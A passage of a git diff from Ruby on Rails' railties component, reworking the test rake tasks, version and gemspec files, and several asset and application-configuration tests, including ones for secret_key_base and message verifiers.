- end.flatten.compact
-end
-
-
-# Recreated here from Active Support because :uncommitted needs it before Rails is available
-module Kernel
- remove_method :silence_stderr # Removing old method to prevent method redefined warning
- def silence_stderr
- old_stderr = STDERR.dup
- STDERR.reopen(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL:' : '/dev/null')
- STDERR.sync = true
- yield
- ensure
- STDERR.reopen(old_stderr)
- end
-end
-
task default: :test
-desc 'Runs test:units, test:functionals, test:integration together (also available: test:benchmark, test:profile)'
+desc "Runs all tests in test folder"
task :test do
- Rake::Task[ENV['TEST'] ? 'test:single' : 'test:run'].invoke
+ Rails::TestTask.test_creator(Rake.application.top_level_tasks).invoke_rake_task
end
namespace :test do
task :prepare do
- # Placeholder task for other Railtie and plugins to enhance. See Active Record for an example.
+ # Placeholder task for other Railtie and plugins to enhance.
+ # If used with Active Record, this task runs before the database schema is synchronized.
end
- task :run do
- errors = %w(test:units test:functionals test:integration).collect do |task|
- begin
- Rake::Task[task].invoke
- nil
- rescue => e
- { task: task, exception: e }
- end
- end.compact
-
- if errors.any?
- puts errors.map { |e| "Errors running #{e[:task]}! #{e[:exception].inspect}" }.join("\n")
- abort
- end
+ Rails::TestTask.new(:run) do |t|
+ t.pattern = "test/**/*_test.rb"
end
- Rake::TestTask.new(recent: "test:prepare") do |t|
- since = TEST_CHANGES_SINCE
- touched = FileList['test/**/*_test.rb'].select { |path| File.mtime(path) > since } +
- recent_tests('app/models/**/*.rb', 'test/models', since) +
- recent_tests('app/models/**/*.rb', 'test/unit', since) +
- recent_tests('app/controllers/**/*.rb', 'test/controllers', since) +
- recent_tests('app/controllers/**/*.rb', 'test/functional', since)
+ desc "Run tests quickly, but also reset db"
+ task :db => %w[db:test:prepare test]
- t.libs << 'test'
- t.test_files = touched.uniq
+ desc "Run tests quickly by merging all types and not resetting db"
+ Rails::TestTask.new(:all) do |t|
+ t.pattern = "test/**/*_test.rb"
end
- Rake::Task['test:recent'].comment = "Test recent changes"
-
- Rake::TestTask.new(uncommitted: "test:prepare") do |t|
- def t.file_list
- if File.directory?(".svn")
- changed_since_checkin = silence_stderr { `svn status` }.split.map { |path| path.chomp[7 .. -1] }
- elsif system "git rev-parse --git-dir 2>&1 >/dev/null"
- changed_since_checkin = silence_stderr { `git ls-files --modified --others --exclude-standard` }.split.map { |path| path.chomp }
- else
- abort "Not a Subversion or Git checkout."
- end
- models = changed_since_checkin.select { |path| path =~ /app[\\\/]models[\\\/].*\.rb$/ }
- controllers = changed_since_checkin.select { |path| path =~ /app[\\\/]controllers[\\\/].*\.rb$/ }
-
- unit_tests = models.map { |model| "test/models/#{File.basename(model, '.rb')}_test.rb" } +
- models.map { |model| "test/unit/#{File.basename(model, '.rb')}_test.rb" } +
- functional_tests = controllers.map { |controller| "test/controllers/#{File.basename(controller, '.rb')}_test.rb" } +
- controllers.map { |controller| "test/functional/#{File.basename(controller, '.rb')}_test.rb" }
- (unit_tests + functional_tests).uniq.select { |file| File.exist?(file) }
- end
-
- t.libs << 'test'
- end
- Rake::Task['test:uncommitted'].comment = "Test changes since last checkin (only Subversion and Git)"
-
- Rake::TestTask.new(single: "test:prepare") do |t|
- t.libs << "test"
+ Rake::Task["test:all"].enhance do
+ Rake::Task["test:deprecate_all"].invoke
end
- Rails::SubTestTask.new(models: "test:prepare") do |t|
- t.libs << "test"
- t.pattern = 'test/models/**/*_test.rb'
+ task :deprecate_all do
+ ActiveSupport::Deprecation.warn "rake test:all is deprecated and will be removed in Rails 5. " \
+ "Use rake test to run all tests in test directory."
end
- Rails::SubTestTask.new(helpers: "test:prepare") do |t|
- t.libs << "test"
- t.pattern = 'test/helpers/**/*_test.rb'
- end
+ namespace :all do
+ desc "Run tests quickly, but also reset db"
+ task :db => %w[db:test:prepare test:all]
- Rails::SubTestTask.new(units: "test:prepare") do |t|
- t.libs << "test"
- t.pattern = 'test/{models,helpers,unit}/**/*_test.rb'
- end
-
- Rails::SubTestTask.new(controllers: "test:prepare") do |t|
- t.libs << "test"
- t.pattern = 'test/controllers/**/*_test.rb'
+ Rake::Task["test:all:db"].enhance do
+ Rake::Task["test:deprecate_all"].invoke
+ end
end
- Rails::SubTestTask.new(mailers: "test:prepare") do |t|
- t.libs << "test"
- t.pattern = 'test/mailers/**/*_test.rb'
- end
+ Rails::TestTask.new(single: "test:prepare")
- Rails::SubTestTask.new(functionals: "test:prepare") do |t|
- t.libs << "test"
- t.pattern = 'test/{controllers,mailers,functional}/**/*_test.rb'
+ ["models", "helpers", "controllers", "mailers", "integration", "jobs"].each do |name|
+ Rails::TestTask.new(name => "test:prepare") do |t|
+ t.pattern = "test/#{name}/**/*_test.rb"
+ end
end
- Rails::SubTestTask.new(integration: "test:prepare") do |t|
- t.libs << "test"
- t.pattern = 'test/integration/**/*_test.rb'
+ Rails::TestTask.new(generators: "test:prepare") do |t|
+ t.pattern = "test/lib/generators/**/*_test.rb"
end
- Rails::SubTestTask.new(benchmark: 'test:prepare') do |t|
- t.libs << 'test'
- t.pattern = 'test/performance/**/*_test.rb'
- t.options = '-- --benchmark'
+ Rails::TestTask.new(units: "test:prepare") do |t|
+ t.pattern = 'test/{models,helpers,unit}/**/*_test.rb'
end
- Rails::SubTestTask.new(profile: 'test:prepare') do |t|
- t.libs << 'test'
- t.pattern = 'test/performance/**/*_test.rb'
+ Rails::TestTask.new(functionals: "test:prepare") do |t|
+ t.pattern = 'test/{controllers,mailers,functional}/**/*_test.rb'
end
end
diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb
index ec878f9dcf..df351c4238 100644
--- a/railties/lib/rails/version.rb
+++ b/railties/lib/rails/version.rb
@@ -1,10 +1,8 @@
-module Rails
- module VERSION #:nodoc:
- MAJOR = 4
- MINOR = 0
- TINY = 0
- PRE = "beta"
+require_relative 'gem_version'
- STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
+module Rails
+ # Returns the version of the currently loaded Rails as a string.
+ def self.version
+ VERSION::STRING
end
end
diff --git a/railties/lib/rails/welcome_controller.rb b/railties/lib/rails/welcome_controller.rb
index 45b764fa6b..de9cd18b01 100644
--- a/railties/lib/rails/welcome_controller.rb
+++ b/railties/lib/rails/welcome_controller.rb
@@ -1,6 +1,7 @@
-class Rails::WelcomeController < ActionController::Base # :nodoc:
- self.view_paths = File.expand_path('../templates', __FILE__)
- layout nil
+require 'rails/application_controller'
+
+class Rails::WelcomeController < Rails::ApplicationController # :nodoc:
+ layout false
def index
end
diff --git a/railties/railties.gemspec b/railties/railties.gemspec
index e39430560f..09afcdec04 100644
--- a/railties/railties.gemspec
+++ b/railties/railties.gemspec
@@ -7,7 +7,7 @@ Gem::Specification.new do |s|
s.summary = 'Tools for creating, working with, and running Rails applications.'
s.description = 'Rails internals: application bootup, plugins, generators, and rake tasks.'
- s.required_ruby_version = '>= 1.9.3'
+ s.required_ruby_version = '>= 2.1.0'
s.license = 'MIT'
@@ -15,7 +15,7 @@ Gem::Specification.new do |s|
s.email = 'david@loudthinking.com'
s.homepage = 'http://www.rubyonrails.org'
- s.files = Dir['CHANGELOG.md', 'README.rdoc', 'bin/**/*', 'lib/**/{*,.[a-z]*}']
+ s.files = Dir['CHANGELOG.md', 'README.rdoc', 'RDOC_MAIN.rdoc', 'bin/**/*', 'lib/**/{*,.[a-z]*}']
s.require_path = 'lib'
s.bindir = 'bin'
@@ -27,6 +27,7 @@ Gem::Specification.new do |s|
s.add_dependency 'actionpack', version
s.add_dependency 'rake', '>= 0.8.7'
- s.add_dependency 'thor', '>= 0.15.4', '< 2.0'
- s.add_dependency 'rdoc', '~> 3.4'
+ s.add_dependency 'thor', '>= 0.18.1', '< 2.0'
+
+ s.add_development_dependency 'actionview', version
end
diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb
index ecd5e03978..0749615d03 100644
--- a/railties/test/abstract_unit.rb
+++ b/railties/test/abstract_unit.rb
@@ -3,16 +3,51 @@ ENV["RAILS_ENV"] ||= "test"
require File.expand_path("../../../load_paths", __FILE__)
require 'stringio'
-require 'minitest/autorun'
+require 'active_support/testing/autorun'
require 'fileutils'
require 'active_support'
require 'action_controller'
+require 'action_view'
require 'rails/all'
module TestApp
class Application < Rails::Application
config.root = File.dirname(__FILE__)
- config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ end
+end
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+ skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+ skip message if defined?(JRUBY_VERSION)
+end
+
+class ActiveSupport::TestCase
+ # FIXME: we have tests that depend on run order, we should fix that and
+ # remove this method call.
+ self.test_order = :sorted
+
+ private
+
+ def capture(stream)
+ stream = stream.to_s
+ captured_stream = Tempfile.new(stream)
+ stream_io = eval("$#{stream}")
+ origin_stream = stream_io.dup
+ stream_io.reopen(captured_stream)
+
+ yield
+
+ stream_io.rewind
+ return captured_stream.read
+ ensure
+ captured_stream.close
+ captured_stream.unlink
+ stream_io.reopen(origin_stream)
end
end
diff --git a/railties/test/app_rails_loader_test.rb b/railties/test/app_rails_loader_test.rb
new file mode 100644
index 0000000000..d4885447e6
--- /dev/null
+++ b/railties/test/app_rails_loader_test.rb
@@ -0,0 +1,89 @@
+require 'tmpdir'
+require 'abstract_unit'
+require 'rails/app_rails_loader'
+
+class AppRailsLoaderTest < ActiveSupport::TestCase
+ def loader
+ @loader ||= Class.new do
+ extend Rails::AppRailsLoader
+
+ def self.exec_arguments
+ @exec_arguments
+ end
+
+ def self.exec(*args)
+ @exec_arguments = args
+ end
+ end
+ end
+
+ def write(filename, contents=nil)
+ FileUtils.mkdir_p(File.dirname(filename))
+ File.write(filename, contents)
+ end
+
+ def expects_exec(exe)
+ assert_equal [Rails::AppRailsLoader::RUBY, exe], loader.exec_arguments
+ end
+
+ setup do
+ @tmp = Dir.mktmpdir('railties-rails-loader-test-suite')
+ @cwd = Dir.pwd
+ Dir.chdir(@tmp)
+ end
+
+ ['bin', 'script'].each do |script_dir|
+ exe = "#{script_dir}/rails"
+
+ test "is not in a Rails application if #{exe} is not found in the current or parent directories" do
+ def loader.find_executables; end
+
+ assert !loader.exec_app_rails
+ end
+
+ test "is not in a Rails application if #{exe} exists but is a folder" do
+ FileUtils.mkdir_p(exe)
+
+ assert !loader.exec_app_rails
+ end
+
+ ['APP_PATH', 'ENGINE_PATH'].each do |keyword|
+ test "is in a Rails application if #{exe} exists and contains #{keyword}" do
+ write exe, keyword
+
+ loader.exec_app_rails
+
+ expects_exec exe
+ end
+
+ test "is not in a Rails application if #{exe} exists but doesn't contain #{keyword}" do
+ write exe
+
+ assert !loader.exec_app_rails
+ end
+
+ test "is in a Rails application if parent directory has #{exe} containing #{keyword} and chdirs to the root directory" do
+ write "foo/bar/#{exe}"
+ write "foo/#{exe}", keyword
+
+ Dir.chdir('foo/bar')
+
+ loader.exec_app_rails
+
+ expects_exec exe
+
+ # Compare the realpath in case either of them has symlinks.
+ #
+ # This happens in particular in Mac OS X, where @tmp starts
+ # with "/var", and Dir.pwd with "/private/var", due to a
+ # default system symlink var -> private/var.
+ assert_equal File.realpath("#@tmp/foo"), File.realpath(Dir.pwd)
+ end
+ end
+ end
+
+ teardown do
+ Dir.chdir(@cwd)
+ FileUtils.rm_rf(@tmp)
+ end
+end
diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb
index 1eddfac664..9a571fac3a 100644
--- a/railties/test/application/asset_debugging_test.rb
+++ b/railties/test/application/asset_debugging_test.rb
@@ -14,7 +14,7 @@ module ApplicationTests
app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get '/posts', to: "posts#index"
end
RUBY
@@ -48,7 +48,7 @@ module ApplicationTests
assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js"><\/script>/, last_response.body)
end
- test "assets aren't concatened when compile is true is on and debug_assets params is true" do
+ test "assets aren't concatenated when compile is true is on and debug_assets params is true" do
add_to_env_config "production", "config.assets.compile = true"
ENV["RAILS_ENV"] = "production"
diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb
index f98915d1cc..8f091cfdbf 100644
--- a/railties/test/application/assets_test.rb
+++ b/railties/test/application/assets_test.rb
@@ -37,18 +37,21 @@ module ApplicationTests
end
def assert_no_file_exists(filename)
- assert !File.exists?(filename), "#{filename} does exist"
+ assert !File.exist?(filename), "#{filename} does exist"
end
test "assets routes have higher priority" do
+ app_file "app/assets/images/rails.png", "notactuallyapng"
app_file "app/assets/javascripts/demo.js.erb", "a = <%= image_path('rails.png').inspect %>;"
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
- get '*path', to: lambda { |env| [200, { "Content-Type" => "text/html" }, "Not an asset"] }
+ Rails.application.routes.draw do
+ get '*path', to: lambda { |env| [200, { "Content-Type" => "text/html" }, ["Not an asset"]] }
end
RUBY
+ add_to_env_config "development", "config.assets.digest = false"
+
require "#{app_path}/config/environment"
get "/assets/demo.js"
@@ -86,11 +89,11 @@ module ApplicationTests
def test_precompile_does_not_hit_the_database
app_file "app/assets/javascripts/application.js", "alert();"
app_file "app/assets/javascripts/foo/application.js", "alert();"
- app_file "app/controllers/user_controller.rb", <<-eoruby
- class UserController < ApplicationController; end
+ app_file "app/controllers/users_controller.rb", <<-eoruby
+ class UsersController < ApplicationController; end
eoruby
app_file "app/models/user.rb", <<-eoruby
- class User < ActiveRecord::Base; end
+ class User < ActiveRecord::Base; raise 'should not be reached'; end
eoruby
ENV['RAILS_ENV'] = 'production'
@@ -164,8 +167,30 @@ module ApplicationTests
assert_file_exists("#{app_path}/public/assets/something-*.js")
end
+ test 'precompile use assets defined in app env config' do
+ add_to_env_config 'production', 'config.assets.precompile = [ "something.js" ]'
+
+ app_file 'app/assets/javascripts/something.js.erb', 'alert();'
+
+ precompile! 'RAILS_ENV=production'
+
+ assert_file_exists("#{app_path}/public/assets/something-*.js")
+ end
+
+ test 'precompile use assets defined in app config and reassigned in app env config' do
+ add_to_config 'config.assets.precompile = [ "something.js" ]'
+ add_to_env_config 'production', 'config.assets.precompile += [ "another.js" ]'
+
+ app_file 'app/assets/javascripts/something.js.erb', 'alert();'
+ app_file 'app/assets/javascripts/another.js.erb', 'alert();'
+
+ precompile! 'RAILS_ENV=production'
+
+ assert_file_exists("#{app_path}/public/assets/something-*.js")
+ assert_file_exists("#{app_path}/public/assets/another-*.js")
+ end
+
test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do
- add_to_config "config.assets.digest = true"
add_to_config "config.action_controller.perform_caching = false"
ENV["RAILS_ENV"] = "production"
@@ -175,10 +200,9 @@ module ApplicationTests
end
test "precompile creates a manifest file with all the assets listed" do
+ app_file "app/assets/images/rails.png", "notactuallyapng"
app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
app_file "app/assets/javascripts/application.js", "alert();"
- # digest is default in false, we must enable it for test environment
- add_to_config "config.assets.digest = true"
precompile!
manifest = Dir["#{app_path}/public/assets/manifest-*.json"].first
@@ -190,8 +214,6 @@ module ApplicationTests
test "the manifest file should be saved by default in the same assets folder" do
app_file "app/assets/javascripts/application.js", "alert();"
- # digest is default in false, we must enable it for test environment
- add_to_config "config.assets.digest = true"
add_to_config "config.assets.prefix = '/x'"
precompile!
@@ -221,9 +243,9 @@ module ApplicationTests
assert !defined?(Uglifier)
end
- test "precompile properly refers files referenced with asset_path and and run in the provided RAILS_ENV" do
+ test "precompile properly refers files referenced with asset_path and runs in the provided RAILS_ENV" do
+ app_file "app/assets/images/rails.png", "notactuallyapng"
app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
- # digest is default in false, we must enable it for test environment
add_to_env_config "test", "config.assets.digest = true"
precompile!('RAILS_ENV=test')
@@ -233,7 +255,9 @@ module ApplicationTests
end
test "precompile shouldn't use the digests present in manifest.json" do
- app_file "app/assets/stylesheets/application.css.erb", "//= depend_on rails.png\np { url: <%= asset_path('rails.png') %> }"
+ app_file "app/assets/images/rails.png", "notactuallyapng"
+
+ app_file "app/assets/stylesheets/application.css.erb", "p { url: <%= asset_path('rails.png') %> }"
ENV["RAILS_ENV"] = "production"
precompile!
@@ -251,13 +275,11 @@ module ApplicationTests
end
test "precompile appends the md5 hash to files referenced with asset_path and run in production with digest true" do
+ app_file "app/assets/images/rails.png", "notactuallyapng"
app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
- add_to_config "config.assets.compile = true"
- add_to_config "config.assets.digest = true"
- ENV["RAILS_ENV"] = nil
-
- precompile!('RAILS_GROUPS=assets')
+ ENV["RAILS_ENV"] = "production"
+ precompile!
file = Dir["#{app_path}/public/assets/application-*.css"].first
assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file))
@@ -265,19 +287,19 @@ module ApplicationTests
test "precompile should handle utf8 filenames" do
filename = "レイルズ.png"
- app_file "app/assets/images/#{filename}", "not a image really"
+ app_file "app/assets/images/#{filename}", "not an image really"
add_to_config "config.assets.precompile = [ /\.png$/, /application.(css|js)$/ ]"
precompile!
manifest = Dir["#{app_path}/public/assets/manifest-*.json"].first
assets = ActiveSupport::JSON.decode(File.read(manifest))
- assert asset_path = assets["assets"].find { |(k, _)| k !~ /rails.png/ && k =~ /.png/ }[1]
+ assert asset_path = assets["assets"].find { |(k, _)| k && k =~ /.png/ }[1]
require "#{app_path}/config/environment"
get "/assets/#{URI.parser.escape(asset_path)}"
- assert_match "not a image really", last_response.body
+ assert_match "not an image really", last_response.body
assert_file_exists("#{app_path}/public/assets/#{asset_path}")
end
@@ -308,11 +330,13 @@ module ApplicationTests
app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get '/omg', :to => "omg#index"
end
RUBY
+ add_to_env_config "development", "config.assets.digest = false"
+
require "#{app_path}/config/environment"
class ::OmgController < ActionController::Base
@@ -337,6 +361,8 @@ module ApplicationTests
app_file "app/assets/javascripts/demo.js", "alert();"
+ add_to_env_config "development", "config.assets.digest = false"
+
require "#{app_path}/config/environment"
get "/assets/demo.js"
@@ -366,23 +392,10 @@ module ApplicationTests
app_file "app/assets/javascripts/application.js", "//= require_tree ."
app_file "app/assets/javascripts/xmlhr.js.erb", "<%= Post.name %>"
- add_to_config "config.assets.digest = false"
precompile!
assert_equal "Post;\n", File.read(Dir["#{app_path}/public/assets/application-*.js"].first)
end
- test "assets can't access model information when precompiling if not initializing the app" do
- app_file "app/models/post.rb", "class Post; end"
- app_file "app/assets/javascripts/application.js", "//= require_tree ."
- app_file "app/assets/javascripts/xmlhr.js.erb", "<%= defined?(Post) || :NoPost %>"
-
- add_to_config "config.assets.digest = false"
- add_to_config "config.assets.initialize_on_precompile = false"
-
- precompile!
- assert_equal "NoPost;\n", File.read(Dir["#{app_path}/public/assets/application-*.js"].first)
- end
-
test "initialization on the assets group should set assets_dir" do
require "#{app_path}/config/application"
Rails.application.initialize!(:assets)
@@ -398,7 +411,6 @@ module ApplicationTests
test "digested assets are not mistakenly removed" do
app_file "app/assets/application.js", "alert();"
add_to_config "config.assets.compile = true"
- add_to_config "config.assets.digest = true"
precompile!
@@ -421,6 +433,7 @@ module ApplicationTests
test "asset urls should use the request's protocol by default" do
app_with_assets_in_view
add_to_config "config.asset_host = 'example.com'"
+ add_to_env_config "development", "config.assets.digest = false"
require "#{app_path}/config/environment"
class ::PostsController < ActionController::Base; end
@@ -431,22 +444,25 @@ module ApplicationTests
end
test "asset urls should be protocol-relative if no request is in scope" do
- app_file "app/assets/javascripts/image_loader.js.erb", 'var src="<%= image_path("rails.png") %>";'
- add_to_config "config.assets.precompile = %w{image_loader.js}"
+ app_file "app/assets/images/rails.png", "notreallyapng"
+ app_file "app/assets/javascripts/image_loader.js.erb", "var src='<%= image_path('rails.png') %>';"
+ add_to_config "config.assets.precompile = %w{rails.png image_loader.js}"
add_to_config "config.asset_host = 'example.com'"
+ add_to_env_config "development", "config.assets.digest = false"
precompile!
- assert_match 'src="//example.com/assets/rails.png"', File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first)
+ assert_match "src='//example.com/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first)
end
test "asset paths should use RAILS_RELATIVE_URL_ROOT by default" do
ENV["RAILS_RELATIVE_URL_ROOT"] = "/sub/uri"
-
- app_file "app/assets/javascripts/app.js.erb", 'var src="<%= image_path("rails.png") %>";'
- add_to_config "config.assets.precompile = %w{app.js}"
+ app_file "app/assets/images/rails.png", "notreallyapng"
+ app_file "app/assets/javascripts/app.js.erb", "var src='<%= image_path('rails.png') %>';"
+ add_to_config "config.assets.precompile = %w{rails.png app.js}"
+ add_to_env_config "development", "config.assets.digest = false"
precompile!
- assert_match 'src="/sub/uri/assets/rails.png"', File.read(Dir["#{app_path}/public/assets/app-*.js"].first)
+ assert_match "src='/sub/uri/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/app-*.js"].first)
end
test "assets:cache:clean should clean cache" do
@@ -468,7 +484,7 @@ module ApplicationTests
app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get '/posts', :to => "posts#index"
end
RUBY
diff --git a/railties/test/application/configuration/base_test.rb b/railties/test/application/configuration/base_test.rb
new file mode 100644
index 0000000000..d6a82b139d
--- /dev/null
+++ b/railties/test/application/configuration/base_test.rb
@@ -0,0 +1,37 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+require 'env_helpers'
+
+module ApplicationTests
+ module ConfigurationTests
+ class BaseTest < ActiveSupport::TestCase
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ end
+
+ def teardown
+ teardown_app
+ FileUtils.rm_rf(new_app) if File.directory?(new_app)
+ end
+
+ private
+ def new_app
+ File.expand_path("#{app_path}/../new_app")
+ end
+
+ def copy_app
+ FileUtils.cp_r(app_path, new_app)
+ end
+
+ def app
+ @app ||= Rails.application
+ end
+
+ def require_environment
+ require "#{app_path}/config/environment"
+ end
+ end
+ end
+end \ No newline at end of file
diff --git a/railties/test/application/configuration/custom_test.rb b/railties/test/application/configuration/custom_test.rb
new file mode 100644
index 0000000000..f8d22f6d97
--- /dev/null
+++ b/railties/test/application/configuration/custom_test.rb
@@ -0,0 +1,22 @@
+require 'application/configuration/base_test'
+
+class ApplicationTests::ConfigurationTests::CustomTest < ApplicationTests::ConfigurationTests::BaseTest
+ test 'access custom configuration point' do
+ add_to_config <<-RUBY
+ config.x.payment_processing.schedule = :daily
+ config.x.payment_processing.retries = 3
+ config.x.super_debugger = true
+ config.x.hyper_debugger = false
+ config.x.nil_debugger = nil
+ RUBY
+ require_environment
+
+ x = Rails.configuration.x
+ assert_equal :daily, x.payment_processing.schedule
+ assert_equal 3, x.payment_processing.retries
+ assert_equal true, x.super_debugger
+ assert_equal false, x.hyper_debugger
+ assert_equal nil, x.nil_debugger
+ assert_nil x.i_do_not_exist.zomg
+ end
+end
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
index ae1127b509..679190dad4 100644
--- a/railties/test/application/configuration_test.rb
+++ b/railties/test/application/configuration_test.rb
@@ -1,5 +1,6 @@
require "isolation/abstract_unit"
require 'rack/test'
+require 'env_helpers'
class ::MyMailInterceptor
def self.delivering_email(email); email; end
@@ -7,6 +8,12 @@ end
class ::MyOtherMailInterceptor < ::MyMailInterceptor; end
+class ::MyPreviewMailInterceptor
+ def self.previewing_email(email); email; end
+end
+
+class ::MyOtherPreviewMailInterceptor < ::MyPreviewMailInterceptor; end
+
class ::MyMailObserver
def self.delivered_email(email); email; end
end
@@ -17,6 +24,7 @@ module ApplicationTests
class ConfigurationTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
include Rack::Test::Methods
+ include EnvHelpers
def new_app
File.expand_path("#{app_path}/../new_app")
@@ -41,6 +49,30 @@ module ApplicationTests
FileUtils.rm_rf(new_app) if File.directory?(new_app)
end
+ test "Rails.env does not set the RAILS_ENV environment variable which would leak out into rake tasks" do
+ require "rails"
+
+ switch_env "RAILS_ENV", nil do
+ Rails.env = "development"
+ assert_equal "development", Rails.env
+ assert_nil ENV['RAILS_ENV']
+ end
+ end
+
+ test "lib dir is on LOAD_PATH during config" do
+ app_file 'lib/my_logger.rb', <<-RUBY
+ require "logger"
+ class MyLogger < ::Logger
+ end
+ RUBY
+ add_to_top_of_config <<-RUBY
+ require 'my_logger'
+ config.logger = MyLogger.new STDOUT
+ RUBY
+ require "#{app_path}/config/environment"
+ assert_equal 'MyLogger', Rails.application.config.logger.class.name
+ end
+
test "a renders exception on pending migration" do
add_to_config <<-RUBY
config.active_record.migration_error = :page_load
@@ -48,12 +80,25 @@ module ApplicationTests
config.action_dispatch.show_exceptions = true
RUBY
+ app_file 'db/migrate/20140708012246_create_user.rb', <<-RUBY
+ class CreateUser < ActiveRecord::Migration
+ def change
+ create_table :users
+ end
+ end
+ RUBY
+
require "#{app_path}/config/environment"
- ActiveRecord::Migrator.stubs(:needs_migration?).returns(true)
- get "/foo"
- assert_equal 500, last_response.status
- assert_match "ActiveRecord::PendingMigrationError", last_response.body
+ ActiveRecord::Migrator.migrations_paths = ["#{app_path}/db/migrate"]
+
+ begin
+ get "/foo"
+ assert_equal 500, last_response.status
+ assert_match "ActiveRecord::PendingMigrationError", last_response.body
+ ensure
+ ActiveRecord::Migrator.migrations_paths = nil
+ end
end
test "Rails.groups returns available groups" do
@@ -87,7 +132,7 @@ module ApplicationTests
test "Rails::Application responds to paths" do
require "#{app_path}/config/environment"
assert_respond_to AppTemplate::Application, :paths
- assert_equal AppTemplate::Application.paths["app/views"].expanded, ["#{app_path}/app/views"]
+ assert_equal ["#{app_path}/app/views"], AppTemplate::Application.paths["app/views"].expanded
end
test "the application root is set correctly" do
@@ -146,12 +191,12 @@ module ApplicationTests
RUBY
require "#{app_path}/config/application"
- assert AppTemplate::Application.initialize!
+ assert Rails.application.initialize!
end
test "application is always added to eager_load namespaces" do
require "#{app_path}/config/application"
- assert AppTemplate::Application, AppTemplate::Application.config.eager_load_namespaces
+ assert_includes Rails.application.config.eager_load_namespaces, AppTemplate::Application
end
test "the application can be eager loaded even when there are no frameworks" do
@@ -180,6 +225,16 @@ module ApplicationTests
end
end
+ test "filter_parameters should be able to set via config.filter_parameters in an initializer" do
+ app_file 'config/initializers/filter_parameters_logging.rb', <<-RUBY
+ Rails.application.config.filter_parameters += [ :password, :foo, 'bar' ]
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert_equal [:password, :foo, 'bar'], Rails.application.env_config['action_dispatch.parameter_filter']
+ end
+
test "config.to_prepare is forwarded to ActionDispatch" do
$prepared = false
@@ -227,7 +282,7 @@ module ApplicationTests
test "Use key_generator when secret_key_base is set" do
make_basic_app do |app|
- app.config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ app.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
app.config.session_store :disabled
end
@@ -245,6 +300,187 @@ module ApplicationTests
assert_equal 'some_value', verifier.verify(last_response.body)
end
+ test "application verifier can be used in the entire application" do
+ make_basic_app do |app|
+ app.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ app.config.session_store :disabled
+ end
+
+ message = app.message_verifier(:sensitive_value).generate("some_value")
+
+ assert_equal 'some_value', Rails.application.message_verifier(:sensitive_value).verify(message)
+
+ secret = app.key_generator.generate_key('sensitive_value')
+ verifier = ActiveSupport::MessageVerifier.new(secret)
+ assert_equal 'some_value', verifier.verify(message)
+ end
+
+ test "application message verifier can be used when the key_generator is ActiveSupport::LegacyKeyGenerator" do
+ app_file 'config/initializers/secret_token.rb', <<-RUBY
+ Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+ RUBY
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_key_base:
+ YAML
+ require "#{app_path}/config/environment"
+
+
+ assert_equal app.env_config['action_dispatch.key_generator'], Rails.application.key_generator
+ assert_equal app.env_config['action_dispatch.key_generator'].class, ActiveSupport::LegacyKeyGenerator
+ message = app.message_verifier(:sensitive_value).generate("some_value")
+ assert_equal 'some_value', Rails.application.message_verifier(:sensitive_value).verify(message)
+ end
+
+ test "warns when secrets.secret_key_base is blank and config.secret_token is set" do
+ app_file 'config/initializers/secret_token.rb', <<-RUBY
+ Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+ RUBY
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_key_base:
+ YAML
+ require "#{app_path}/config/environment"
+
+ assert_deprecated(/You didn't set `secret_key_base`./) do
+ app.env_config
+ end
+ end
+
+ test "prefer secrets.secret_token over config.secret_token" do
+ app_file 'config/initializers/secret_token.rb', <<-RUBY
+ Rails.application.config.secret_token = ""
+ RUBY
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_token: 3b7cd727ee24e8444053437c36cc66c3
+ YAML
+ require "#{app_path}/config/environment"
+
+ assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_token
+ end
+
+ test "application verifier can build different verifiers" do
+ make_basic_app do |app|
+ app.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ app.config.session_store :disabled
+ end
+
